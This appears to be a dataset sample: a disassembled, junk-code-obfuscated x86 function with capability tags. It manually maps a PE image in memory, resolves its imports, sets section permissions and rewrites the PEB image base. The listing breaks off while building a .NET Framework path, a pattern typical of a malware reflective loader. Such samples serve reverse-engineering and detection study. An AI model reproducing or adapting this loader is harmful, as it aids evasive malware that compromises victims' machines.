Function at 0x408000
Capabilities:
Access peb ldr_data
Create thread
Encode data using base64
Enumerate pe sections
Get number of processors
Inspect section memory permissions

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x110
push ebx
push esi
push edi
dec esi
or eax, 0x5d
or edi, 0x8f
rcr edi, 0x5c
imul eax
sub esi, 0x6f
sub edi, 0x54
add edx, 0xd7
dec esi
not eax
imul ebx
ror edx, 0x29
sub edi, 0x62
or edi, 0x72
inc ebx
sbb eax, 0x94
ror edi, 0x5d
bswap edi
neg edx
not eax
mov edx, 0xba
or ebx, 0x17
not edi
imul edi
neg edx
or edi, 0xec
not edi
add esi, 0x83
rol edi, 0x96
sub esi, 0xcc
dec edi
rcr esi, 0x91
imul edx
sbb edx, 0x11
sbb ebx, 0xac
not esi
add esi, 0xdc
and edx, 8
ror esi, 0x4b
imul eax
dec esi
not esi
sbb ebx, 0x4d
inc edi
sub ebx, 0x17
imul edx
neg esi
rcl edi, 0xe7
rol ebx, 0xc
neg ebx
imul edi
imul esi
not eax
inc esi
dec ebx
imul edx
bswap edi
bswap edi
imul ebx
ror eax, 3
imul ebx
or eax, 0xd2
ror edx, 0x95
imul eax
ror esi, 0x28
mov edi, 0x44
neg esi
inc edx
dec edi
or eax, 0x2e
ror eax, 0x6e
inc eax
neg eax
bswap esi
bswap esi
and ebx, 0xa6
mov ebx, 0x7e
dec ebx
inc esi
rcl eax, 0x52
rcl edx, 0x88
and ebx, 0xa2
sub edx, 0xfc
or esi, 0x7a
dec ebx
dec esi
imul edi
rol esi, 0xbc
not esi
ror edx, 0x4d
and esi, 0x18
and ebx, 0x9c
rcl edi, 0x33
sub eax, 0x43
and eax, 0xe3
rol eax, 0x2b
neg edx
inc edi
inc esi
imul edx
ror edx, 0x7b
add edi, 0x91
bswap edi
rol edi, 0x66
bswap edi
neg ebx
inc ebx
inc eax
and ebx, 0xcc
inc edi
inc ebx
dec ebx
bswap edx
neg edx
dec ebx
mov eax, 0x8d
neg ebx
not edx
inc edi
rol edi, 0x32
imul esi
inc edi
rcr ebx, 0xfe
add edx, 0x73
dec eax
mov edi, 0x45
and esi, 0xb1
inc eax
imul edx
ror edi, 0xaa
rcl ebx, 0x6a
rcl edi, 0xe2
imul edi
neg edi
sbb eax, 0x55
ror ebx, 0x2f
and edi, 8
inc esi
rol edi, 0x8c
sub edi, 0x3b
neg ebx
dec edx
dec edx
ror eax, 0xdc
rcl eax, 0xaf
rcr ebx, 0x6b
or ebx, 0x97
bswap esi
rcl edi, 0x89
add edi, 0xf0
inc edx
sub esi, 0xf8
not ebx
not eax
not esi
neg eax
inc esi
ror ebx, 0xab
add esi, 0xa2
or esi, 0xfa
not esi
ror eax, 0x4d
ror esi, 0x49
sub edi, 0x30
inc eax
sub eax, 0xb9
sbb esi, 0x75
or ebx, 0x24
bswap edi
rcr esi, 0x5f
mov edi, 0x81
ror eax, 0x99
bswap edx
rcr eax, 0xd
and eax, 0xf9
sub edi, 0x99
ror edi, 0xb7
bswap esi
sbb ebx, 0x16
imul edx
bswap esi
inc edi
and edi, 0xd8
inc eax
sub eax, 0xca
and eax, 0x13
inc edi
dec esi
rcl eax, 0x2f
inc esi
sub edx, 0x1e
rcr esi, 0x3b
not ebx
inc edi
sub edi, 0x19
or edx, 0x6d
bswap ebx
imul esi
imul edx
sub ebx, 0x28
push 0x4fe00
push 0x40d008
call fcn.00401000
add esp, 8
mov dword [ebp + 8], 0x40d008
sbb edx, 0xac
rcl edi, 0x9d
not esi
bswap eax
and edx, 0x67
not eax
mov esi, 0x94
mov edx, 0xb0
and ebx, 0xdc
or ebx, 0xf4
rcl edx, 0xe1
rcl eax, 0x87
or esi, 0xab
neg esi
sbb eax, 0x9d
dec edx
sub eax, 0x60
imul ebx
imul edi
bswap esi
neg edi
imul edx
bswap eax
bswap edx
bswap eax
neg edx
or ebx, 0xaf
sbb eax, 0xbf
rcr eax, 0xf0
not ebx
neg edi
and ebx, 0x78
inc esi
neg eax
not esi
add edx, 4
dec edx
and edx, 0x63
rcr esi, 0xd3
imul esi
sub edi, 0xef
not ebx
dec ebx
or edi, 0xe
rcl edx, 0x98
and edi, 0xa4
mov esi, 0xeb
and edi, 0xe0
rol ebx, 0x3b
neg esi
mov eax, dword [ebp + 8]
mov dword [ebp - 0xc4], eax
mov ecx, dword [ebp - 0xc4]
mov edx, dword [ebp + 8]
add edx, dword [ecx + 0x3c]
mov dword [ebp - 0x90], edx
mov eax, dword [ebp - 0x90]
cmp dword [eax], 0x4550
je 0x408318
mov eax, 1
jmp 0x409892
mov ecx, dword [ebp - 0x90]
mov edx, dword [ecx + 0xa0]
mov eax, dword [ecx + 0xa4]
mov dword [ebp - 0xbc], edx
mov dword [ebp - 0xb8], eax
cmp dword [ebp - 0xb8], 0
je 0x40834b
mov dword [ebp - 0x110], 0
jmp 0x40835a
mov ecx, dword [ebp - 0x90]
mov edx, dword [ecx + 0x34]
mov dword [ebp - 0x110], edx
push 4
push 0x3000
mov eax, dword [ebp - 0x90]
mov ecx, dword [eax + 0x50]
push ecx
mov edx, dword [ebp - 0x110]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x8c], eax
cmp dword [ebp - 0xb8], 0
jne 0x4083a2
mov eax, dword [ebp - 0x90]
mov ecx, dword [ebp - 0x8c]
cmp ecx, dword [eax + 0x34]
je 0x4083a2
mov eax, 2
jmp 0x409892
imul ebx
rcl eax, 0x9c
rcr eax, 0x94
ror ebx, 0x13
bswap ebx
not ebx
bswap ebx
inc edi
dec edx
sub eax, 0x14
ror edi, 0x19
neg esi
inc esi
inc ebx
neg edi
imul ebx
imul ebx
imul edx
not ebx
sub eax, 2
dec edx
add edx, 0xd8
and edx, 0x23
add esi, 0xc0
inc esi
rcl ebx, 0x50
imul edi
imul edx
inc esi
imul edi
rol esi, 0xe4
not eax
bswap edx
sub esi, 0xe
inc ebx
bswap ebx
bswap ebx
sub eax, 0xba
dec esi
mov eax, 0x3e
not ebx
not edx
and edx, 0x23
imul ebx
and esi, 0xeb
or edi, 0x86
dec edi
ror ebx, 0xfd
neg edi
imul edi
push 0x400
mov edx, dword [ebp + 8]
push edx
mov eax, dword [ebp - 0x8c]
push eax
call fcn.00401220
add esp, 0xc
add esi, 0x72
inc eax
rol edx, 6
sub edi, 0xae
mov edi, 0x32
neg eax
ror edi, 0x63
neg edi
rcl edx, 0xc9
sbb ebx, 0x14
neg ebx
add edi, 0x50
dec edi
not edx
rol esi, 0x5f
dec ebx
not esi
sbb ebx, 0x5b
ror eax, 0xfa
dec esi
rcr eax, 0x24
dec edi
sub edi, 0x15
bswap esi
sub edx, 0xfc
rol edi, 0x2b
ror edi, 0xc4
sub esi, 0x96
sub edx, 5
rol edi, 0x72
or ebx, 1
add ebx, 0xa2
rcr edx, 0x64
rcl ebx, 0xdf
neg ebx
dec eax
or eax, 0x7d
add ebx, 0x82
bswap esi
bswap edx
not edx
inc eax
imul ebx
dec esi
mov edx, 0xc
rol eax, 0x47
imul edx
inc eax
inc edx
dec esi
bswap eax
mov esi, 0xfe
dec esi
bswap edx
inc edx
neg ebx
rol esi, 0xfe
imul ebx
rol esi, 0xdb
neg eax
imul esi
sbb edx, 0x17
rcl edi, 0x8a
not edx
bswap ebx
rcr eax, 0xde
add ebx, 0xc7
inc eax
add ebx, 0x65
or edi, 0x18
imul edx
bswap edi
inc edx
dec edx
dec ebx
inc edx
and eax, 0x64
imul edi
not eax
or edi, 0x34
neg edx
neg esi
rcr edx, 0xc6
not ebx
imul edi
imul eax
bswap eax
neg esi
mov ebx, 0x9c
imul ebx
inc ebx
bswap eax
add ebx, 0x7f
bswap edi
and ebx, 0x63
not eax
not edx
inc eax
dec eax
and edi, 0x4d
bswap ebx
rol edx, 0x35
inc edi
imul esi
rcl edi, 0xd0
neg esi
inc ebx
or edi, 0xa5
imul eax
bswap edi
sub edi, 9
not eax
mov edi, 0xb3
dec eax
or edx, 0x7d
or ebx, 0xb8
ror ebx, 0x1e
not eax
not esi
rol edx, 0xe0
not edi
inc esi
bswap ebx
neg eax
ror edx, 0x8d
ror eax, 0xad
inc edx
not edi
rcr esi, 0x44
or edi, 0xb5
bswap eax
inc edi
mov eax, 3
inc eax
inc edi
neg eax
not eax
or edx, 0xc5
ror ebx, 0xf4
inc edx
rcr ebx, 0xd
rcr ebx, 0xbf
sub eax, 0x16
inc esi
dec eax
not edx
rcl eax, 1
rol ebx, 0xbc
rcl esi, 0x22
mov esi, 0xbf
imul esi
not edx
bswap ebx
ror eax, 0xe7
rcr edi, 0x3f
not esi
imul esi
rcl ebx, 0xb3
not edx
dec esi
not ebx
sbb esi, 0x6e
sbb ebx, 0x34
sub esi, 0x84
bswap esi
neg eax
not edx
rcr ebx, 0xef
bswap edi
inc ebx
not edx
imul edi
bswap edx
inc esi
and ebx, 0x4b
or edx, 0x26
rcr eax, 0xd3
sub ebx, 0x3e
neg esi
sub edx, 0xaf
dec eax
neg edx
or edi, 0x70
not edx
inc edx
sub eax, 0x22
add eax, 0xbf
inc esi
mov edx, 0xd3
rcr ebx, 0x13
dec edi
and esi, 0xd7
bswap edx
rcl ebx, 0x3f
bswap edi
inc edi
inc ebx
neg eax
add esi, 0x23
ror edi, 0x50
dec eax
ror ebx, 0x87
mov edx, 0x90
bswap edx
not edi
or eax, 0x85
ror esi, 0xb9
imul ebx
dec edi
not ebx
and edx, 0xe9
imul ebx
not eax
ror eax, 0xc2
bswap ebx
inc edx
sbb esi, 0xbc
and eax, 0x27
rol edi, 0x3b
bswap edi
dec esi
bswap ebx
neg edx
not ebx
sub edx, 0xcb
dec edi
ror edi, 0xb5
bswap edi
bswap ebx
inc edi
and esi, 0x7e
rcr eax, 0xd0
and edi, 0x11
inc ebx
rol edi, 0xab
imul edx
inc edx
rcr eax, 0x81
and edx, 0x60
add edi, 0xe3
not edx
and eax, 0xda
not esi
mov ebx, 0xaf
neg ebx
rol edx, 0xc4
sub esi, 0xba
neg eax
mov edx, 0x87
mov eax, 0x39
mov ecx, dword [ebp - 0x90]
movzx edx, word [ecx + 0x14]
mov eax, dword [ebp - 0x90]
lea ecx, [eax + edx + 0x18]
mov dword [ebp - 0x9c], ecx
mov dword [ebp - 0xc8], 0
jmp 0x4086f0
mov edx, dword [ebp - 0xc8]
add edx, 1
mov dword [ebp - 0xc8], edx
mov eax, dword [ebp - 0x90]
movzx ecx, word [eax + 6]
cmp dword [ebp - 0xc8], ecx
jge 0x408751
mov edx, dword [ebp - 0xc8]
imul edx, edx, 0x28
mov eax, dword [ebp - 0x9c]
mov ecx, dword [eax + edx + 0x10]
push ecx
mov edx, dword [ebp - 0xc8]
imul edx, edx, 0x28
mov eax, dword [ebp - 0x9c]
mov ecx, dword [ebp + 8]
add ecx, dword [eax + edx + 0x14]
push ecx
mov edx, dword [ebp - 0xc8]
imul edx, edx, 0x28
mov eax, dword [ebp - 0x9c]
mov ecx, dword [ebp - 0x8c]
add ecx, dword [eax + edx + 0xc]
push ecx
call fcn.00401220
add esp, 0xc
jmp 0x4086e1
not esi
inc edx
dec edi
and esi, 0xe3
imul edi
sub eax, 0xfb
bswap ebx
inc edi
mov ebx, 0xe5
dec ebx
ror eax, 0x27
mov eax, 0xe7
imul esi
mov edx, 0x69
sub edx, 0x4a
imul edx
imul edi
add eax, 0xa8
sub ebx, 0xd9
imul eax
sub eax, 0xe6
not eax
bswap esi
imul edi
or esi, 0x39
not edx
inc edx
imul edi
and edi, 0x4a
imul esi
dec esi
imul edx
rol esi, 0xe
rcl esi, 0xe8
bswap edx
neg ebx
rol eax, 0xcd
ror edi, 0x7b
or edx, 0x73
dec edi
not edx
inc edx
inc edx
or ebx, 0xde
not edi
and edx, 0xbc
sub esi, 0xaf
rol esi, 0x42
bswap esi
bswap esi
mov edx, dword [ebp - 0x90]
mov eax, dword [ebp - 0x8c]
cmp eax, dword [edx + 0x34]
je 0x408911
mov ecx, dword [ebp - 0x90]
mov edx, dword [ebp - 0x8c]
sub edx, dword [ecx + 0x34]
mov dword [ebp - 0xd0], edx
mov eax, dword [ebp - 0x8c]
add eax, dword [ebp - 0xbc]
mov dword [ebp - 0xcc], eax
mov dword [ebp - 0xd4], 0
mov ecx, dword [ebp - 0xd4]
cmp ecx, dword [ebp - 0xb8]
jae 0x408911
mov edx, dword [ebp - 0xcc]
mov eax, dword [ebp - 0x8c]
add eax, dword [edx]
mov dword [ebp - 0xd8], eax
mov ecx, dword [ebp - 0xcc]
mov edx, dword [ecx + 4]
sub edx, 8
shr edx, 1
mov dword [ebp - 0xdc], edx
mov eax, dword [ebp - 0xcc]
add eax, 8
mov dword [ebp - 0xe0], eax
mov dword [ebp - 0xe4], 0
jmp 0x408886
mov ecx, dword [ebp - 0xe4]
add ecx, 1
mov dword [ebp - 0xe4], ecx
mov edx, dword [ebp - 0xe4]
cmp edx, dword [ebp - 0xdc]
jge 0x4088eb
mov eax, dword [ebp - 0xe0]
movzx ecx, word [eax]
sar ecx, 0xc
and ecx, 3
je 0x4088da
mov edx, dword [ebp - 0xe0]
movzx eax, word [edx]
and eax, 0xfff
mov ecx, dword [ebp - 0xd8]
mov edx, dword [ecx + eax]
add edx, dword [ebp - 0xd0]
mov eax, dword [ebp - 0xe0]
movzx ecx, word [eax]
and ecx, 0xfff
mov eax, dword [ebp - 0xd8]
mov dword [eax + ecx], edx
mov ecx, dword [ebp - 0xe0]
add ecx, 2
mov dword [ebp - 0xe0], ecx
jmp 0x408877
mov edx, dword [ebp - 0xcc]
mov eax, dword [ebp - 0xd4]
add eax, dword [edx + 4]
mov dword [ebp - 0xd4], eax
mov ecx, dword [ebp - 0xe0]
mov dword [ebp - 0xcc], ecx
jmp 0x408822
bswap eax
rcr ebx, 0x64
rcl edx, 0xda
dec edi
inc eax
dec eax
not edi
bswap edi
dec edi
rol esi, 0xe7
and esi, 0x95
mov eax, 0x32
mov esi, 0x8f
imul eax
dec edx
inc edx
not ebx
neg edi
sub ebx, 0xf4
rcr edx, 6
inc eax
ror eax, 0xd3
or esi, 0xb1
rcr eax, 0xe9
rcl edx, 0xc0
not eax
neg esi
inc esi
neg edx
dec esi
rol eax, 0x4b
rcr edi, 0xba
sub esi, 0x32
add eax, 0xdb
dec edx
rcl ebx, 0xa1
imul edx
bswap esi
bswap edx
not edx
mov edi, 0xd0
not esi
not ebx
not esi
or eax, 0x30
imul esi
inc ebx
dec ebx
mov edi, 0x2c
rcr ebx, 0xba
bswap edi
sub esi, 0xde
bswap edx
bswap edx
bswap eax
add esi, 0x69
dec ebx
bswap eax
mov ebx, 0xd
neg esi
neg eax
neg ebx
neg edx
rcr eax, 0xcb
imul edx
and edi, 0x81
imul ebx
dec esi
inc edx
not ebx
rcl edx, 0x18
rcr edi, 5
ror esi, 0xb4
rol esi, 0x71
not ebx
add eax, 5
imul ebx
neg esi
neg eax
dec edi
bswap edx
dec esi
neg edx
neg edi
and ebx, 0xb5
add ebx, 0xaa
bswap edx
inc eax
rcl edx, 0x90
imul ebx
neg edx
rcr esi, 0x8f
mov edi, 0x32
sub edi, 0x3e
neg edx
neg edi
not edx
rcl ebx, 0x5d
sbb eax, 1
imul edx
not edx
inc ebx
dec ebx
neg esi
bswap ebx
not eax
sbb esi, 0x70
bswap esi
ror edi, 0x7f
sub ebx, 0xfc
imul ebx
sub edi, 0x1d
neg edi
not eax
and esi, 0x27
dec edi
inc edx
inc esi
mov eax, 0xf7
rcl eax, 0xb8
rcl edx, 0xab
ror ebx, 0xa4
rol ebx, 0x28
not eax
neg edi
neg esi
dec edi
or edx, 0x25
inc edi
rcr edx, 0xb5
ror edi, 0xe8
sbb esi, 0x39
imul ebx
and esi, 0xb1
ror ebx, 0
and eax, 0xc5
sbb esi, 0x93
and edi, 0x52
sub edi, 0xc2
mov eax, 0xb7
rol edi, 0xb6
rcl edx, 7
neg edx
sub edi, 0x16
not eax
not esi
neg edx
neg ebx
neg esi
dec edx
mov edx, dword [ebp - 0x90]
mov eax, dword [ebp - 0x8c]
add eax, dword [edx + 0x80]
mov dword [ebp - 0xa0], eax
mov dword [ebp - 0xe8], 0
jmp 0x408aca
mov ecx, dword [ebp - 0xe8]
add ecx, 1
mov dword [ebp - 0xe8], ecx
mov edx, dword [ebp - 0xe8]
imul edx, edx, 0x14
mov eax, dword [ebp - 0xa0]
cmp dword [eax + edx + 0x10], 0
je 0x408c08
mov ecx, dword [ebp - 0xe8]
imul ecx, ecx, 0x14
mov edx, dword [ebp - 0xa0]
mov eax, dword [ebp - 0x8c]
add eax, dword [edx + ecx + 0xc]
mov dword [ebp - 0xf4], eax
mov ecx, dword [ebp - 0xf4]
push ecx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0xec], eax
cmp dword [ebp - 0xec], 0
jne 0x408b21
jmp 0x408abb
mov edx, dword [ebp - 0xe8]
imul edx, edx, 0x14
mov eax, dword [ebp - 0xa0]
mov ecx, dword [ebp - 0x8c]
add ecx, dword [eax + edx + 0x10]
mov dword [ebp - 0xf0], ecx
mov dword [ebp - 0xf8], 0
jmp 0x408b5b
mov edx, dword [ebp - 0xf8]
add edx, 1
mov dword [ebp - 0xf8], edx
mov eax, dword [ebp - 0xf8]
mov ecx, dword [ebp - 0xf0]
cmp dword [ecx + eax*4], 0
je 0x408c03
mov edx, dword [ebp - 0xf8]
mov eax, dword [ebp - 0xf0]
mov ecx, dword [ebp - 0x8c]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x100], ecx
mov edx, dword [ebp - 0xf8]
mov eax, dword [ebp - 0xf0]
movzx ecx, word [eax + edx*4]
push ecx
mov edx, dword [ebp - 0xec]
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0xfc], eax
cmp dword [ebp - 0xfc], 0
jne 0x408bd6
mov eax, dword [ebp - 0x100]
add eax, 2
push eax
mov ecx, dword [ebp - 0xec]
push ecx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0xfc], eax
mov edx, dword [ebp - 0xe8]
imul edx, edx, 0x14
mov eax, dword [ebp - 0xa0]
mov ecx, dword [ebp - 0x8c]
add ecx, dword [eax + edx + 0x10]
mov edx, dword [ebp - 0xf8]
mov eax, dword [ebp - 0xfc]
mov dword [ecx + edx*4], eax
jmp 0x408b4c
jmp 0x408abb
mov dword [ebp - 0x104], 0
jmp 0x408c23
mov ecx, dword [ebp - 0x104]
add ecx, 1
mov dword [ebp - 0x104], ecx
mov edx, dword [ebp - 0x90]
movzx eax, word [edx + 6]
cmp dword [ebp - 0x104], eax
jge 0x408d41
mov dword [ebp - 0x108], 0x40
mov ecx, dword [ebp - 0x104]
imul ecx, ecx, 0x28
mov edx, dword [ebp - 0x9c]
mov eax, dword [edx + ecx + 0x24]
mov dword [ebp - 0x10c], eax
mov ecx, dword [ebp - 0x10c]
and ecx, 0x40000000
je 0x408c91
mov edx, dword [ebp - 0x10c]
and edx, 0x80000000
je 0x408c91
mov eax, dword [ebp - 0x10c]
and eax, 0x20000000
je 0x408c91
mov dword [ebp - 0x108], 0x40
jmp 0x408cf8
mov ecx, dword [ebp - 0x10c]
and ecx, 0x40000000
je 0x408cb9
mov edx, dword [ebp - 0x10c]
and edx, 0x80000000
je 0x408cb9
mov dword [ebp - 0x108], 4
jmp 0x408cf8
mov eax, dword [ebp - 0x10c]
and eax, 0x40000000
je 0x408ce0
mov ecx, dword [ebp - 0x10c]
and ecx, 0x20000000
je 0x408ce0
mov dword [ebp - 0x108], 0x20
jmp 0x408cf8
mov edx, dword [ebp - 0x10c]
and edx, 0x40000000
je 0x408cf8
mov dword [ebp - 0x108], 2
lea eax, [ebp - 0xa8]
push eax
mov ecx, dword [ebp - 0x108]
push ecx
mov edx, dword [ebp - 0x104]
imul edx, edx, 0x28
mov eax, dword [ebp - 0x9c]
mov ecx, dword [eax + edx + 8]
push ecx
mov edx, dword [ebp - 0x104]
imul edx, edx, 0x28
mov eax, dword [ebp - 0x9c]
mov ecx, dword [ebp - 0x8c]
add ecx, dword [eax + edx + 0xc]
push ecx
call fcn.00401240
add esp, 0x10
jmp 0x408c14
bswap eax
neg ebx
neg edi
ror ebx, 0x9d
bswap ebx
dec edx
add esi, 0x6b
not edi
neg edi
imul esi
or esi, 0xa4
inc ebx
sbb esi, 0xb5
bswap edi
bswap eax
and edx, 0xb3
sub eax, 0x3b
sub edx, 8
imul eax
mov edx, 0xd8
sbb esi, 0xdd
inc ebx
not esi
neg ebx
inc esi
bswap esi
sub edx, 0xe2
sub esi, 0x73
add edx, 0x4a
bswap ebx
inc esi
add edi, 0x6c
neg esi
and esi, 0xbc
not esi
not edi
rcr edi, 0x1d
or edi, 0xf0
dec edi
bswap edx
inc ebx
bswap edi
ror edx, 0x90
sub eax, 0xfa
rol ebx, 0x57
inc esi
bswap esi
neg edi
and edx, 0x71
mov ebx, 0x71
sbb edi, 0xb1
bswap edi
ror edx, 0xb
add ebx, 0x89
imul edx
ror esi, 0x65
rcl esi, 0xb5
rol esi, 0xf7
neg eax
not eax
imul edx
sub eax, 0x56
imul edi
sub ebx, 0xc1
imul edx
bswap edx
sub eax, 0x25
ror edx, 0x27
and edi, 0x4f
imul edx
or eax, 0x60
inc esi
bswap ebx
not esi
add ebx, 0xad
add edi, 0xa0
rcr ebx, 0x53
add ebx, 6
mov edx, 0x29
or esi, 7
sbb eax, 0xe3
dec ebx
neg edx
dec esi
neg eax
sbb ebx, 0xde
neg edx
inc ebx
imul ebx
dec edx
and esi, 0x22
and ebx, 0x17
dec eax
neg edi
rol edi, 0x26
and esi, 0xd1
sbb esi, 0x68
rcr edx, 0xa1
dec eax
rcr esi, 0xd4
dec ebx
not eax
inc edi
bswap eax
inc edx
imul esi
imul edi
sbb edi, 0x93
rol esi, 0x19
imul esi
dec eax
dec edx
not edi
mov ebx, 0x80
bswap edi
bswap ebx
add edx, 0xa9
rcl edi, 0xaf
imul eax
or esi, 0xcf
rcl eax, 0x13
rol eax, 0xcb
not edi
neg edx
sbb ebx, 0xd2
sub ebx, 0xbe
rcl eax, 0x70
imul esi
rcr esi, 0x99
bswap edi
add edi, 0x93
rcl ebx, 0x3a
dec edi
neg edx
sbb ebx, 0xe1
imul edi
ror edi, 0xf9
add esi, 0x61
dec esi
rcr eax, 0x5f
ror edi, 0x1f
inc esi
rcr edi, 0x73
rcr esi, 0x87
bswap edx
rol ebx, 0x9d
mov edx, 0xbd
ror ebx, 9
not edi
neg eax
mov edx, dword fs:[0x30]
mov dword [ebp - 0x94], edx
mov eax, dword [ebp - 0x94]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 4]
mov eax, dword [edx + 0x14]
sub eax, 8
mov dword [ebp - 0x98], eax
rcl edi, 0x70
mov edi, 0x42
imul ebx
imul eax
or edx, 0xab
and ebx, 0x9b
ror eax, 0xad
sbb eax, 0x26
not eax
neg esi
sub esi, 0xc0
rcr ebx, 0x36
ror eax, 0x94
bswap edx
or ebx, 0xd7
inc eax
dec eax
neg eax
dec eax
dec ebx
add edx, 0x7f
rol esi, 0xb8
inc ebx
mov edi, 0xb9
not eax
imul eax
bswap esi
rcl edi, 0x7e
sub eax, 0xe4
neg edx
inc edx
imul esi
inc esi
neg ebx
bswap ebx
inc ebx
bswap ebx
imul eax
sbb edi, 0x5d
sbb eax, 0x88
add edx, 0x60
dec eax
or edi, 0x9d
not eax
imul ebx
and ebx, 0x36
ror edx, 0x95
inc ebx
sub eax, 0xe7
bswap edx
ror edx, 0xda
rol ebx, 0x38
neg esi
dec eax
neg edx
rcr eax, 0xba
not edx
imul edx
neg eax
not edi
rcr edx, 0xe9
rcl esi, 0xb9
rcl edi, 0x65
bswap ebx
mov eax, 0x8d
not esi
not ebx
rcr eax, 0x89
ror edi, 0x6d
neg eax
imul ebx
not edi
imul edi
not edi
neg ebx
dec eax
and edi, 0x8c
add edx, 0xa7
not edx
rcl edx, 0xde
dec edx
rcl ebx, 0x46
ror edx, 0x52
sub esi, 0x7a
and esi, 0x9a
and ebx, 0x48
mov esi, 0x66
imul ebx
rol esi, 0x40
and esi, 0x6c
sub esi, 0x67
add edx, 0x7e
ror eax, 0x94
not esi
inc ebx
sub edx, 0xc
neg edx
sbb esi, 0xe9
or ebx, 0x7d
imul esi
imul edx
or edi, 0x87
not ebx
or edx, 0x72
imul esi
dec esi
sub edx, 0xe4
rcr esi, 0xf2
and eax, 0xc4
neg edi
not edx
and edi, 0xf6
sub edi, 0x3d
ror ebx, 0xce
ror edi, 0x34
neg ebx
sub edx, 0x60
bswap eax
imul edx
rol edi, 0xc3
imul ebx
inc eax
neg edx
dec edx
add esi, 0x5e
dec edi
neg edi
rcl edi, 0xa5
rol esi, 0x64
dec esi
inc edx
mov eax, 0x33
add edx, 0x96
rol edx, 0xbb
mov edx, 8
sbb ebx, 0xf4
bswap edx
bswap edx
or ebx, 0x6c
bswap esi
inc edx
inc edi
sbb eax, 0x51
inc edx
rcl edi, 5
add ebx, 0x3d
rol ebx, 0xce
not esi
neg esi
neg eax
mov ecx, dword [ebp - 0x94]
mov edx, dword [ebp - 0x8c]
mov dword [ecx + 8], edx
mov eax, dword [ebp - 0x98]
mov ecx, dword [ebp - 0x8c]
mov dword [eax + 0x18], ecx
mov edx, dword [ebp - 0x98]
add edx, 0x24
mov dword [ebp - 0xa4], edx
neg eax
not edi
dec edi
rcr edx, 0x81
imul edx
bswap edi
bswap eax
not edx
neg edi
rcr edi, 0x93
imul edi
inc ebx
inc ebx
add ebx, 0
neg eax
add edi, 0x36
mov edx, 0x32
bswap esi
imul edx
mov esi, 0x6f
imul ebx
imul edi
mov edx, 0x25
mov edx, 0x88
add ebx, 0x34
neg ebx
add eax, 0xcc
sbb esi, 0xad
rol esi, 0x3f
or esi, 0x5e
mov edx, 0x23
sbb edi, 0xcb
or edi, 0x7f
or eax, 0xe
inc edi
or eax, 0x36
sub ebx, 0x53
sub edi, 0x58
add eax, 0x71
not esi
mov edi, 0xa3
bswap edx
sub edx, 0x89
sub ebx, 2
rcl ebx, 0x73
rcl ebx, 0x34
add edi, 0x62
neg ebx
dec ebx
and ebx, 0xb3
add ebx, 0x99
dec edi
rcr eax, 0x51
neg ebx
dec eax
rcl ebx, 0x9b
mov esi, 0x58
sbb edx, 8
inc eax
add esi, 0x4a
rcl edi, 0x46
inc ebx
bswap eax
not esi
mov esi, 0xe
imul edx
bswap edx
add edx, 0xbc
dec esi
sbb ebx, 0x48
or edx, 0x2a
not edi
mov eax, 0xde
rcl esi, 0x13
neg esi
rcr esi, 0xd5
rol esi, 0x92
bswap edi
sbb esi, 0x75
dec edx
dec ebx
ror edi, 0x4f
bswap esi
mov edx, 0
rcl esi, 0x3c
inc eax
imul edi
not ebx
rcr eax, 0xa6
rcr eax, 0x2d
mov eax, 0xf3
not eax
bswap edi
rol ebx, 0xea
rcr eax, 0xfa
neg edi
sub eax, 0x35
ror edx, 0x81
neg edx
not ebx
neg edi
rol ebx, 0x36
rol edx, 0x32
neg edx
imul eax
inc edx
add edi, 0x16
imul ebx
rcr edx, 0xa6
rcl esi, 0x2b
rcr eax, 0x9a
imul ebx
add eax, 0xa8
neg edi
sbb eax, 0xef
ror eax, 0xb2
imul esi
and esi, 0xd0
ror edx, 0xaa
imul eax
rol ebx, 0xe5
sub edi, 0xd1
bswap edi
rol edx, 0xe8
rcr ebx, 0x79
inc eax
dec eax
mov ebx, 0xbe
rcr ebx, 0
inc eax
and esi, 0x37
dec eax
add esi, 0xb6
rcr edi, 0xd7
not esi
inc eax
rcr ebx, 0xc9
neg edx
neg edi
neg eax
inc eax
bswap eax
imul ebx
imul eax
rcr edx, 0x6a
rcl edi, 0x4e
inc eax
neg edx
rcr esi, 0x8e
inc edi
mov eax, 0x43
mov word [ebp - 0x88], ax
mov ecx, 0x3a
mov word [ebp - 0x86], cx
mov edx, 0x5c
mov word [ebp - 0x84], dx
mov eax, 0x5c
mov word [ebp - 0x82], ax
mov ecx, 0x57
mov word [ebp - 0x80], cx
mov edx, 0x69
mov word [ebp - 0x7e], dx
mov eax, 0x6e
mov word [ebp - 0x7c], ax
mov ecx, 0x64
mov word [ebp - 0x7a], cx
mov edx, 0x6f
mov word [ebp - 0x78], dx
mov eax, 0x77
mov word [ebp - 0x76], ax
mov ecx, 0x73
mov word [ebp - 0x74], cx
mov edx, 0x5c
mov word [ebp - 0x72], dx
mov eax, 0x4d
mov word [ebp - 0x70], ax
mov ecx, 0x69
mov word [ebp - 0x6e], cx
mov edx, 0x63
mov word [ebp - 0x6c], dx
mov eax, 0x72
mov word [ebp - 0x6a], ax
mov ecx, 0x6f
mov word [ebp - 0x68], cx
mov edx, 0x73
mov word [ebp - 0x66], dx
mov eax, 0x6f
mov word [ebp - 0x64], ax
mov ecx, 0x66
mov word [ebp - 0x62], cx
mov edx, 0x74
mov word [ebp - 0x60], dx
mov eax, 0x2e
mov word [ebp - 0x5e], ax
mov ecx, 0x4e
mov word [ebp - 0x5c], cx
mov edx, 0x45
mov word [ebp - 0x5a], dx
mov eax, 0x54
mov word [ebp - 0x58], ax
mov ecx, 0x5c
mov word [ebp - 0x56], cx
mov edx, 0x46
mov word [ebp - 0x54], dx
mov eax, 0x72
mov word [ebp - 0x52], ax
mov ecx, 0x61
mov word [ebp - 0x50], cx
mov edx, 0x6d
mov word [ebp - 0x4e], dx
mov eax, 0x65
mov word [ebp - 0x4c], ax
mov ecx, 0x77
mov word [ebp - 0x4a], cx
mov edx, 0x6f
mov word [ebp - 0x48], dx
mov eax, 0x72
mov word [ebp - 0x46], ax
mov ecx, 0x6b
mov word [ebp - 0x44], cx
mov edx, 0x5c
mov word [ebp - 0x42], dx
mov eax, 0x76
mov word [ebp - 0x40], ax
